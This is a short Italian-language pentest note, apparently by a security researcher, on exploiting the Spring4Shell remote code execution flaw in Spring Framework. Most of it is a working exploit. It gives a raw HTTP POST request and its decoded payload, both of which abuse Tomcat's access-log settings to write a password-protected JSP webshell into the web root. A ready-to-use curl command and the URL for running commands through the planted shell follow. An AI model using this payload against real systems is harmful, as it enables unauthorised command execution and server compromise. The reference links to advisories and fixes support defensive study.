Sfruttamento RCE di Spring Framework (Note rapide per pentest)

Passo 1: Trova un endpoint nel tuo target dove sono accettati metodi POST/PUT + codifica il payload (URL encode)

POST /path/upload HTTP/1.1
Host: <redacted>
Origin: <redacted>
Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; 
Content-Type: application/x-www-form-urlencoded
User-Agent: alex666
c0: %>//
c1: Runtime
c2: <%
Connection: close

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bc2%7di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7b%20java.io.InputStream%20in%20%3d%20%25%7bc1%7di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20%7d%20%25%7bc0%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=webshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Passo 2: Meglio con Burp Free/Pro :

Ecco il Payload Decodificato:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{c0}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=webshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Passo 3: Usa il commandline curl e invia il tuo POST + payload al sistema target:

$ curl -i -s -k -X $'POST' -H $'Host: <redacted>' -H $'Origin: <redacted>' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: alex666' -H $'c0: %>//' -H $'c1: Runtime' -H $'c2: <%' -H $'Connection: close' -b $'JSESSIONID=BE65B534335A5A2538624404C063B70C' --data-binary $'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bc2%7di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7b%20java.io.InputStream%20in%20%3d%20%25%7bc1%7di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20%7d%20%25%7bc0%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=webshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=\x0d\x0a\x0d\x0a' $'http://<redacted>/path/upload' --proxy http://127.0.0.1:8080

Passo 4: Devi attendere 10/15 secondi e chiamare la webshell come segue:

https://<redacted>/path/upload/webshell.jsp?pwd=j&cmd=id

Nota: Se riprovi il payload troppe volte la webshell verrà riscritta con nuove righe e i caratteri speciali non verranno escapati, è meglio cambiare il nome della webshell e scegliere un nuovo PATH che non influenzi il deployment corrente.

Riferimenti e correzioni :

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
  
• https://github.com/BobTheShoplifter/Spring4Shell-POC
  
• https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
  
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/
  

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Autore

Alex Hernandez aka (@_alt3kx_)